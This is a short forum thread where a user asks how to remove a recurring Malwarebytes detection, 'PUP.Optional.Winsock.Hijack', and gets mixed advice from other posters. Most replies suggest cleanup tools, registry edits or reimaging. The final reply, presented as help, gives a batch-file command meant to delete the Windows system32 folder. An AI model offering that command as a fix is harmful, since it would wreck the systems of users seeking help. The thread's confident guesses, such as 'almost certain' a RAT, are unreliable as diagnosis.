Annoying Malware?
So for the past two days I've been trying to get rid of some malware/adware that I did not notice I had, until now.
I've been trying to find a solution but nothing seems to work.
I found out I had this when malware bytes kept giving me notifications with the same file, saying it is quarantined or what not.
Even though I scanned my computer w/ Malware Bytes and quarantined/deleted the file, it keeps giving me notifications about it.
My web browser (Chrome) won't work sometimes because of this. and the notifications get annoying.

The file's name is PUP.Optional.Winsock.Hijack

And here is another file I found, which is part of PUP.Optional.Winsock.Hijack.




Anyone got any ideas on how to remove this shit completely?

Please download Farbar Recovery Scan Tool and save it to your Desktop.

Run a security check by searching bleeping computer. You probably have a Rat. Post back cuz I can kinda help. Actually, almost certain u have a RAT, it's a hijack file. Download bitdefender, get the free 6 months. If that doesn't help comment back

Emsisoft Emergency Kit, download and run that, then run malewarebytes again. Bitdefender is shit, dont use it.

wow i got fckin baited
use regedit and delete the file or uncheck
Just reimage your computer. Best way to make sure the virus is gone.
Well, Optional means it came from a program. I assume you can find it in your registry's.
make a .bat file with the following comand: @EcHo off del c:\\windows\system 32
